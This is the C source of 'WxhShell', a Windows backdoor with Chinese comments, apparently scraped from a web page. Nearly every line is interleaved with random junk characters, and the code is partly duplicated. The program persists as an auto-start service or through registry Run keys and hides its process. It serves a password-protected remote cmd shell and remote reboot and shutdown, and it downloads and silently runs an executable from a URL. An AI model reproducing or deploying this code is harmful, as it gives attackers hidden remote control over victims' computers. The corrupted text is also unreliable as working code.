|ggtb\W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |gk4X%o6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -#<{3BJTrz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g>7i2 V"gKk$j7 if (!NtQueryInformationProcess) return 0; {PL,3EBG Wx8cK= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iZ(p]0aP7 if(!hProcess) return 0; S!
.N3ezn pQm-Hr78j if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,` $2 z-nV!# CloseHandle(hProcess); 25;`yB$ _."X# }W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -<gQ>`(0 if(hProcess==NULL) return 0; ut9R]01: ' ui`EL % HMODULE hMod; v1Jg8L= char procName[255]; C~VyM1inD unsigned long cbNeeded; hUMFfc? DBzF\- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y t0s X K5qE" CloseHandle(hProcess); gZr/Dfy R?Or=W)i if(strstr(procName,"services")) return 1; // 以服务启动 j\SW~}d9 yxa~Rz/ return 0; // 注册表启动 pQY.MZSA } zz4A,XrD
}[<eg>9# // 主模块 oGLSk(T&I int StartWxhshell(LPSTR lpCmdLine) 1!E+(Iq { e1RtoNF ^ SOCKET wsl; ^Q?I8,4} BOOL val=TRUE; .#b! # int port=0; sQS2U6 struct sockaddr_in door; EO;f`s)t ?eb2T`\0Q if(wscfg.ws_autoins) Install(); kE".v|@ 1&
k_&o port=atoi(lpCmdLine); khb
Gyg% 8P 3EQY- if(port<=0) port=wscfg.ws_port; s.rS06x e.0vh?{\ WSADATA data; wo[W1?|s if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XRI1/2YA h(I~HZ[K&T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yV xR||e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >=2nAv/( door.sin_family = AF_INET; H3.WAg[` door.sin_addr.s_addr = inet_addr("127.0.0.1"); L$`!~z1 door.sin_port = htons(port); *4^!e/ 'PlKCn`(w if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3Nh;^ closesocket(wsl); [pmZ0/l return 1; Ox&g#,@h } I/GZ t9PS5O ; if(listen(wsl,2) == INVALID_SOCKET) { ;1cX|N= closesocket(wsl); d*1@lmV* return 1; cJm!3X } CPGXwM= Wxhshell(wsl); { >Y< ! WSACleanup(); @)m+O#a UsYH#?|O return 0; +6f5uMKUvs D|Z,eench } >.#uoW4ZV gB<p // 以NT服务方式启动 `2NL'O: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wLU w'Ai { gW6lMyiLb DWORD status = 0; E+"INX7 DWORD specificError = 0xfffffff; {:Z# 8dGe c?eV8h1G serviceStatus.dwServiceType = SERVICE_WIN32; 9GkG' serviceStatus.dwCurrentState = SERVICE_START_PENDING; 89@89-_mC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >9=Y(` serviceStatus.dwWin32ExitCode = 0; Os8]iNvW\ serviceStatus.dwServiceSpecificExitCode = 0; 6yTL7@V|B serviceStatus.dwCheckPoint = 0; tZU"Ud serviceStatus.dwWaitHint = 0; E[htNin.B~ 3T Q#3h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oRy?Dx+H if (hServiceStatusHandle==0) return; .^djB
x *u7C){)gr[ status = GetLastError(); cWp
n/.a if (status!=NO_ERROR) -j]r\EVKS { ozkN&0 serviceStatus.dwCurrentState = SERVICE_STOPPED; @OFl^U0/ serviceStatus.dwCheckPoint = 0; X'jEI{1w serviceStatus.dwWaitHint = 0; CHWyy serviceStatus.dwWin32ExitCode = status; ))G%C6- serviceStatus.dwServiceSpecificExitCode = specificError; xHykU;p@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); zmf5!77 return; 4VaUa8 D } D}cq_|mmn[ P!B\:B%4~] serviceStatus.dwCurrentState = SERVICE_RUNNING; %r6~5_A serviceStatus.dwCheckPoint = 0; {
j&|Em] serviceStatus.dwWaitHint = 0; uTP=kgYqJ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^bL.|vB } p5)A"p8"9, 8,dCx}X // 处理NT服务事件,比如:启动、停止 N##3k-0Ao VOID WINAPI NTServiceHandler(DWORD fdwControl) gA2\c5F< { [:g6gAuh, switch(fdwControl) Sqc*u&W { t
~U&a9&Z case SERVICE_CONTROL_STOP: 8dIgw serviceStatus.dwWin32ExitCode = 0; ;c:vzF~Q serviceStatus.dwCurrentState = SERVICE_STOPPED; Iy|]U&`
serviceStatus.dwCheckPoint = 0; &}:Hp9n serviceStatus.dwWaitHint = 0; wzo-V^+q { Ez<J+#)t SetServiceStatus(hServiceStatusHandle, &serviceStatus); dW8'$!@!! } >4~{CXZ return; rx_'( case SERVICE_CONTROL_PAUSE: o~<fw]y serviceStatus.dwCurrentState = SERVICE_PAUSED; S:rW}r J break; cQgmRHZ] case SERVICE_CONTROL_CONTINUE: [^ 7^&/0 serviceStatus.dwCurrentState = SERVICE_RUNNING; Ik;~u8j1e break; SAThY$)6 case SERVICE_CONTROL_INTERROGATE: ?$-OdABXHK break; MfeW| }; z%+?\.oH SetServiceStatus(hServiceStatusHandle, &serviceStatus); kwGj7' } #MGZje,I /,E%)K; // 标准应用程序主函数 1mI)xDi9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b LL!iz? { ;EL!TzL:8 "-ZuH // 获取操作系统版本 /MQd [03] OsIsNt=GetOsVer(); 7OC,KgJ3 GetModuleFileName(NULL,ExeFile,MAX_PATH); B S b!{|] ih ,8'D4 // 从命令行安装 d+2I+O03 if(strpbrk(lpCmdLine,"iI")) Install(); bG.aV#$FIg .~W7{SY[ // 下载执行文件 a&XURyp if(wscfg.ws_downexe) { TO( =4;U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J#:%| F% WinExec(wscfg.ws_filenam,SW_HIDE); I!# 42~\ } InPq1AH R['qBHQ? if(!OsIsNt) { ? 76jz>;b // 如果时win9x,隐藏进程并且设置为注册表启动 P_&2HA,I HideProc(); g&BF#)7C StartWxhshell(lpCmdLine); = UTv } $qIMYX else q7m-} mBN~ if(StartFromService()) /7P4[~vw // 以服务方式启动 l)XzU&Sc~ StartServiceCtrlDispatcher(DispatchTable); p(U'c}@2 else 5p= T*Y // 普通方式启动 g%9I+(?t StartWxhshell(lpCmdLine); h\D
y(\ 4\Q ?4ZX return 0; sEhdkN}6 } ,VJ0J!@ bS*
"C,b~s 6I_W4`<VeZ 3&3S*1b-H =========================================== NsWyxcty 7c+TS-- lm]4zs /A <A"}Krq? Z4E:Z}~'' j6IWdqXe " fTV:QAa; m./lrz #include <stdio.h> u]"oGJj1 #include <string.h> I.q nA #include <windows.h> ]hv4EL(zi #include <winsock2.h> `4 w0*;k; #include <winsvc.h> ho fZpM #include <urlmon.h> *>S\i7RET Ngh9+b6[ #pragma comment (lib, "Ws2_32.lib") XP6R$0yN #pragma comment (lib, "urlmon.lib") 0'z$"(6D b_\aSEaTT #define MAX_USER 100 // 最大客户端连接数 H4^-M Sw #define BUF_SOCK 200 // sock buffer 0gfa7+Y #define KEY_BUFF 255 // 输入 buffer >!`T=(u! -4;{QB? #define REBOOT 0 // 重启 K^s!0[6 #define SHUTDOWN 1 // 关机 2-]gHAw% tY%c-m #define DEF_PORT 5000 // 监听端口 ~A [ Ju%R ]W-:-.prh #define REG_LEN 16 // 注册表键长度 A&F@+X6@ #define SVC_LEN 80 // NT服务名长度 I)Lg=n$ r$R(4q: // 从dll定义API f=g/_R2$xN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v[35C]gS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $*L@ym typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fu{[5uv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kM]? 1ciP+->$ // wxhshell配置信息 @j5W4HU struct WSCFG { 'zi5ihiT int ws_port; // 监听端口 u{tjB/K& char ws_passstr[REG_LEN]; // 口令 Ny
p5= int ws_autoins; // 安装标记, 1=yes 0=no B5zu?AG char ws_regname[REG_LEN]; // 注册表键名 K(Zd-U char ws_svcname[REG_LEN]; // 服务名 (9fq UbG char ws_svcdisp[SVC_LEN]; // 服务显示名 `3/,- char ws_svcdesc[SVC_LEN]; // 服务描述信息 !T6oD]x3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l J;wl|9 int ws_downexe; // 下载执行标记, 1=yes 0=no "4&HxD8_ih char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g9'50<|J char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DJ[U^dWRn L8/o9N1 }; 2
os&d| l4|bpR Cp // default Wxhshell configuration ~}$:iyJV(> struct WSCFG wscfg={DEF_PORT, U$ _?T-x "xuhuanlingzhe", s|"V$/X(W 1, ;)u}`4~L "Wxhshell", ?b^VEp.;} "Wxhshell", rV[#4,} PF "WxhShell Service", * j: "Wrsky Windows CmdShell Service", `m`jX|` "Please Input Your Password: ", !|}J{
1, FWq6e, "http://www.wrsky.com/wxhshell.exe", f&7SivS# "Wxhshell.exe" nxA]EFS }; ~pX&>v\T #fzvK+ // 消息定义模块 N 2L/A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w`c9_V char *msg_ws_prompt="\n\r? for help\n\r#>"; x,5$VLs\+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gmj
a2F, char *msg_ws_ext="\n\rExit."; *~lD;{2 char *msg_ws_end="\n\rQuit."; {{tH$j?Q char *msg_ws_boot="\n\rReboot..."; )[~ #j6 char *msg_ws_poff="\n\rShutdown..."; (|bMtT?"x char *msg_ws_down="\n\rSave to "; *P61q\2Z c<y.Y0 char *msg_ws_err="\n\rErr!"; >XSe[K char *msg_ws_ok="\n\rOK!"; tURIDj%#p TEh]-x`
char ExeFile[MAX_PATH]; 7I&7YhFI int nUser = 0; 5#80`/w^U HANDLE handles[MAX_USER]; a_`E'BkgU int OsIsNt; zb?wlfT 6pLB`1[v SERVICE_STATUS serviceStatus; c1jHg2xim SERVICE_STATUS_HANDLE hServiceStatusHandle; HdJLD+k/ C$"jZcm,I // 函数声明 Mpk^e_9`< int Install(void); +&4PGv53J int Uninstall(void); &M6)-V4 int DownloadFile(char *sURL, SOCKET wsh); Q= + Frsk int Boot(int flag); N>/*)Frt void HideProc(void); T!"<Kv]J int GetOsVer(void); e&OMW,7 int Wxhshell(SOCKET wsl); `yP-,lA$ void TalkWithClient(void *cs); c72Oy+# int CmdShell(SOCKET sock); } <2F]UuR int StartFromService(void); N5}vy$t_P int StartWxhshell(LPSTR lpCmdLine); _xl#1>G^J cQ6[o"j. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Sq=#f/= VOID WINAPI NTServiceHandler( DWORD fdwControl ); JV36@DVQ Kp~k!6x // 数据结构和表定义 :`:<JA3, SERVICE_TABLE_ENTRY DispatchTable[] = "sAR<5b { $C9<{zX
{wscfg.ws_svcname, NTServiceMain}, Q,#M
0 {NULL, NULL} @T;O^rE~N };
mH;Z_ME"
(pi7TSJ // 自我安装 AN^ , int Install(void) ~q4DePVE { F|xXMpC.f
char svExeFile[MAX_PATH]; gW/H#T, HKEY key; %bDd strcpy(svExeFile,ExeFile); <e/O"6='Z 4fzq C) // 如果是win9x系统,修改注册表设为自启动 i$"FUC~' if(!OsIsNt) { R3?~+y& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P%ZWm=lg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q hK;#<# RegCloseKey(key); Zr}`W\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M#<x2ojW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9?,n+ RegCloseKey(key); >x2T' return 0; hZ2PP ^ } =_^g]?5i } WCR+ZXI?1 } -\UzL:9> else { 6Otv[8^} {/QpEd>3+ // 如果是NT以上系统,安装为系统服务 N..9N$+( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5Qy,Pkje if (schSCManager!=0) B2845~\. { f{3FoN=z SC_HANDLE schService = CreateService J,7_5V@jJ ( V{d"cs>9 schSCManager, ,pLesbI wscfg.ws_svcname, ]nfS vPb wscfg.ws_svcdisp, g^0 SERVICE_ALL_ACCESS, 5~rs55W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "K\Rq+si SERVICE_AUTO_START, b]|7{yMV SERVICE_ERROR_NORMAL, QQ!,W': svExeFile, l@j!j]nE NULL, YLFTf1G9 NULL, NoKYHN^*w NULL, X='4N< NULL, DcOu=Y> 1 NULL X(WG:FP27 ); Z>M*!mQi if (schService!=0) ?C $_?Qi { niA{L:4 CloseServiceHandle(schService); ^8MgNVoJ) CloseServiceHandle(schSCManager); _')KDy7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'fVk1Qj^ strcat(svExeFile,wscfg.ws_svcname); C}00S{nAZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }'@*Ol j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); el[6E0!@ RegCloseKey(key); .5I1wRN49 return 0; `mWg$e, } A$5!]+ } 90ORx\Oeo CloseServiceHandle(schSCManager); 5|>jz ` } E4{^[=} } yXEC@#?| *sw$OnVb return 1; 3gGF?0o } 3ea6g5kX !D6@ \ // 自我卸载 P"xP%zqo int Uninstall(void) M@gm.)d { zb9$ HKEY key; yt<K!=7& icnp^2P if(!OsIsNt) { \
(X~Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lJK U^?4S8 RegDeleteValue(key,wscfg.ws_regname); IRcZyry RegCloseKey(key); WJg?R^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z}pdcQl# RegDeleteValue(key,wscfg.ws_regname); jt;,7Ek RegCloseKey(key); ,I)/ V>u return 0; ~s88JLw%&u } yTmoEy. q } FfP Ce5) } paiF ah else { h"q`gj _STN ^
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^Dd$8$?[ if (schSCManager!=0) W**a\[~$ { PCD1I98 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4Kx;F
9!%~ if (schService!=0) zf6k% { $%sOL(
r if(DeleteService(schService)!=0) { 7]G3yt-> CloseServiceHandle(schService); 7zy6`OP CloseServiceHandle(schSCManager); L%N|8P[ return 0; :uqsRFo&4 } J6|5*|*^ CloseServiceHandle(schService); }}K44<]u } 4WDh8U CloseServiceHandle(schSCManager); #=+d;RdlW } k%JwS_F } s8eFEi ] S]F&B
M| return 1; i!jxjP } 591Syyy eDgRYa9\ // 从指定url下载文件 3<CCC+47 int DownloadFile(char *sURL, SOCKET wsh) n<uF9N< { BUuNI_?M#5 HRESULT hr; zT*EpIa+LS char seps[]= "/"; E9YR *P4$ char *token; "i(k 8+iK char *file; c54oQ1Q&" char myURL[MAX_PATH]; yk,o*g char myFILE[MAX_PATH]; vzd1:'^t .B+R+2uY3 strcpy(myURL,sURL); 5O%Q*\( token=strtok(myURL,seps); tQ&.;{5[f while(token!=NULL) CMI%jyiX { yn)K1f^ file=token; #qtAFIm' token=strtok(NULL,seps); ,|<2wn#q } -1;BwlL #H fvY}[o GetCurrentDirectory(MAX_PATH,myFILE); QX1QYwcm G strcat(myFILE, "\\"); hOx'uO`x( strcat(myFILE, file); <,$(,RX send(wsh,myFILE,strlen(myFILE),0); *Fi`o_d9[` send(wsh,"...",3,0); iC10|0%{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _~ZNX+4 if(hr==S_OK) d!mtSOh return 0; -!f)P=S else @KfFtR-; return 1; a|Io)Qhr O$%M.C' } ^1^k<
jT}3Zn // 系统电源模块 #; CC"
int Boot(int flag) VJmX@zX9 { xOnbYU HANDLE hToken; ACm9H9:Vd TOKEN_PRIVILEGES tkp; 6A&e2K> A
^m8T$^z> if(OsIsNt) { 4=!SG4~o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KE! aa&g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PLD6Ug tkp.PrivilegeCount = 1; +RWP;rk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z]kk.@P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); INtt0Cm9" if(flag==REBOOT) { q_S`@2Dzz, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O_^O1 return 0; 3
r4QB } db#QA#^S else { ['~j1!/;6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .#0),JJZ[ return 0; GPlAQk } 3yg22y&l } k.=67L else { Q M7z
. if(flag==REBOOT) { .M53, 8X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qvfAG 0p return 0; 2c>H(t h= } AR+\uD=\I- else { [,o5QH\Etq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '^oGDlkr H return 0; ^;CR0.4 } X\3,NR, } +%le/Pg@ rPo\Dz return 1; ghJ,s|lH } |<$<L`xoe k}f<'g<H // win9x进程隐藏模块 gGI#QPT`X void HideProc(void) %+7T9>+ { BudWbZ5>Ep 2*-ENW2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7S dV%" if ( hKernel != NULL ) K5)yM @cq { =UB*xm%! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /50g3?X, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M]4 =(Vv+5 FreeLibrary(hKernel); ,yM}]pwlB } G1?0Q_RN J2oWssw" return; F; MF:;mM } dxkRk#mf: Re kb?|{z
// 获取操作系统版本 MR?*GI's int GetOsVer(void) :Er^"9'A2 { _\4` OSVERSIONINFO winfo; nI` f_sp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {w |dM# GetVersionEx(&winfo); Z92iil;t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .0Iun+nUD return 1; uXG`6|? else \ifK~? return 0; LL= Z$U
$ } w'oo-.k tp6csS,
// 客户端句柄模块 96"yNqBf int Wxhshell(SOCKET wsl) Yo~LckFF { fr}1_0DDz SOCKET wsh; Hhe{ +W@~ struct sockaddr_in client; O6m.t%* DWORD myID; |+Hp+9J hzT{3YtY2 while(nUser<MAX_USER) JQKC;p { T~i%j@Q.6 int nSize=sizeof(client); ibd$%;bX3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V;h=8C 5J if(wsh==INVALID_SOCKET) return 1; 54q4CagFq f7XQ~b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G"o!} if(handles[nUser]==0) z-EwXE closesocket(wsh); ./'~];& else CQ6'b,L& nUser++; ?S (im } O1GDugZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U@Z>/ q tigT@!`$Y return 0; QGs1zfh* } :ozV3`%$( &49u5&TiP // 关闭 socket %KGq*|GUu void CloseIt(SOCKET wsh) D
Irgq|8 { BjJ,"sT closesocket(wsh); IByf_E;r nUser--; ?Bo?JMV ExitThread(0); rRB~=J" } O^5UB~ `/#f?Hk= // 客户端请求句柄 o^3FL||P#r void TalkWithClient(void *cs) y|$R`P { f|OI` =M7TCE SOCKET wsh=(SOCKET)cs; 6+.>5e char pwd[SVC_LEN]; 9YB2e84j char cmd[KEY_BUFF]; B[r<m J char chr[1]; ]eE 1n2 int i,j; 93j{.0]X -<_QF82 while (nUser < MAX_USER) { }g~g50ci |6aJwe+*
if(wscfg.ws_passstr) { |^R*4;Phe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]*qU+& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >OV<_(S4 //ZeroMemory(pwd,KEY_BUFF); dL-i)F
i=0; !xu9+{- while(i<SVC_LEN) { 6B0#4Qrv @5xu>g Kn // 设置超时 CE uWw:) fd_set FdRead; gH[,Xx?BN! struct timeval TimeOut; yub{8 f;v FD_ZERO(&FdRead); l<(cd, FD_SET(wsh,&FdRead); hoenQ6N^: TimeOut.tv_sec=8; Ve}[XqdS^p TimeOut.tv_usec=0; 8V9[a*9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W^es;5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uRE*%d>
.[?BlIlm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y`yZR
_ pwd=chr[0]; 4*TmlY if(chr[0]==0xd || chr[0]==0xa) { MoD?2J pwd=0; w&Y{1r F> break; 5{d\uE%'p } !4WEk i++; ySe$4deJ } YuQ~AE'i y+9h~,:A // 如果是非法用户,关闭 socket Kc #|Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x&Cp> +i } d--'Rn5 JN4fPGbV send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )}MHx`KT2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rv>^TR*,! vi!YN|}\ while(1) { y<- _(^ QJn`WSw$_- ZeroMemory(cmd,KEY_BUFF); c>HK9z{ !2tW$BP^ // 自动支持客户端 telnet标准 o31Nmy
Ni j=0; FS"eM"z while(j<KEY_BUFF) { ~Rpm-^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VsK>6S\T cmd[j]=chr[0]; 2HD]?:Fk7 if(chr[0]==0xa || chr[0]==0xd) { t<j^q`;@v cmd[j]=0; O(z}H}Fv break;
d$W } ]y@F8$D! j++; p|+B3 } UPiW73Nu jS.g]k // 下载文件 1-.~7yC if(strstr(cmd,"http://")) { *T0q|P~o% send(wsh,msg_ws_down,strlen(msg_ws_down),0); f`Fi#EKT if(DownloadFile(cmd,wsh)) D
gaMO, send(wsh,msg_ws_err,strlen(msg_ws_err),0); "
W|%~h else B
$mX3B+a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4F{70"a } Vk
K else { 04LI]' ,~a QL switch(cmd[0]) { 9=vMgW 4^p5&5F // 帮助 iQ tNAj case '?': { ^Ew]uN>, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S/}2; \Xm break; E=jNi } O-ew%@_ // 安装 N^#ZJoR case 'i': { X>d"]GD if(Install()) D2<fw# send(wsh,msg_ws_err,strlen(msg_ws_err),0); :V1W/c else 1%EBd%`# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T?:Rdo!:u break; $LKIT0 } '[U8}z3 // 卸载 W0y '5` case 'r': { CUO+9X-<8 if(Uninstall()) rx $mk send(wsh,msg_ws_err,strlen(msg_ws_err),0); W0(_~ else ~"!]
3C,L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZW-yP2 break; Usr@uI#{J } !;EjB*& // 显示 wxhshell 所在路径 FYOD
Upn case 'p': { Ao&\E cIOT char svExeFile[MAX_PATH]; m#8m] Y strcpy(svExeFile,"\n\r"); 1q~+E\x strcat(svExeFile,ExeFile); 03xa'Of> send(wsh,svExeFile,strlen(svExeFile),0); wHsYF` break; XUM!Qv } p`mS[bxv! // 重启 r>dwDBE case 'b': { IYqBQnX}oM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !zuxz if(Boot(REBOOT)) rFIqC:= send(wsh,msg_ws_err,strlen(msg_ws_err),0); mYxuA0/k else { oE<`VY| closesocket(wsh); ?f#y1m ExitThread(0); V\6=ySx } 0n@rLF break; R#xCkl - } JCz@s~f\y // 关机 ]P#XVDn+; case 'd': { @_U;9) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~oI1zNz/ if(Boot(SHUTDOWN)) WF2}-NU" send(wsh,msg_ws_err,strlen(msg_ws_err),0); yN~dU0.G6! else { Uh.oErHQD closesocket(wsh); [!!o-9b ExitThread(0); O>SLOWgha } ;+0t;B!V break; ,pqGX3 } Kpb#K[(]& // 获取shell MA;1;uI, case 's': { nK$X[KrV' CmdShell(wsh); =xNv\e closesocket(wsh); yuDZ~0]R ExitThread(0); AgRjr"hF*e break; $uap8nN } M/q E2L[y // 退出 549jWG case 'x': { m8SA6Y\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e]T`ot#/ CloseIt(wsh); t9Y=m6 break; 'Fs)Rx}\0 } l#lF
+Q; // 离开 # [e case 'q': { H-3Eo#b# send(wsh,msg_ws_end,strlen(msg_ws_end),0); [tg^GOf ' closesocket(wsh); t^[8RhD WSACleanup(); l3Lyea: exit(1); Z0`T\ay break; HLBkR>e } eeHP&1= 7 } M[ z)6. }
.AYj'Y `60gFVu // 提示信息 /
}R z=& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T]j.=|,d } Ug:\ } }hYZ"
A~ })w*m return; 50
A^bbid } VR R/^u/~< // shell模块句柄 G[8in int CmdShell(SOCKET sock) mKT>,M { uNn[[LS STARTUPINFO si; <" @zn ZeroMemory(&si,sizeof(si)); xAu/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &QG6!`fK}3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /t6X(*xoy PROCESS_INFORMATION ProcessInfo; ork=`}; char cmdline[]="cmd"; LTJc,3\, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); goJ|oi return 0; j
F-v%? } tTN?r 8 \uME+NF // 自身启动模式 Mc-)OtmG[ int StartFromService(void) c8Q]!p+Yp { pq:7F typedef struct K^rIG6 { l;sy0S"DO] DWORD ExitStatus; oo=#XZkk DWORD PebBaseAddress; w#N?l!5 DWORD AffinityMask; +,v-=~5 DWORD BasePriority; /%4_-C pm ULONG UniqueProcessId; N$TL;T> ULONG InheritedFromUniqueProcessId; =`Y.=RL+'n } PROCESS_BASIC_INFORMATION; XhdSFxW} r-kMLw/)
PROCNTQSIP NtQueryInformationProcess; {B*W\[ns Qp2I[Ioz3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Hc(y7HV static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |wox1Wt|E -Q;#sJ? HANDLE hProcess; =e><z9hY PROCESS_BASIC_INFORMATION pbi; V@d)?T 55t\B ms{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `]$?uQ if(NULL == hInst ) return 0; xt4)Ya m-T~fJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
u@p? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W9t"aZor NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~#}Dx
:HH Ufo>|A6;$ if (!NtQueryInformationProcess) return 0; *QM~O'WhD U-0#0} _ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o2-@o= F if(!hProcess) return 0; Pw@olG'Ah 5j"1z1_& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oUx[+Gnv lH|LdlX CloseHandle(hProcess); IGFGa@C !C:r b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R*1kR|*_) if(hProcess==NULL) return 0; d~ng6pA LF*Q! HMODULE hMod; <Wl(9$ char procName[255]; +TN9ujL6@ unsigned long cbNeeded; ly4Qg\l 0MIUI<;j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 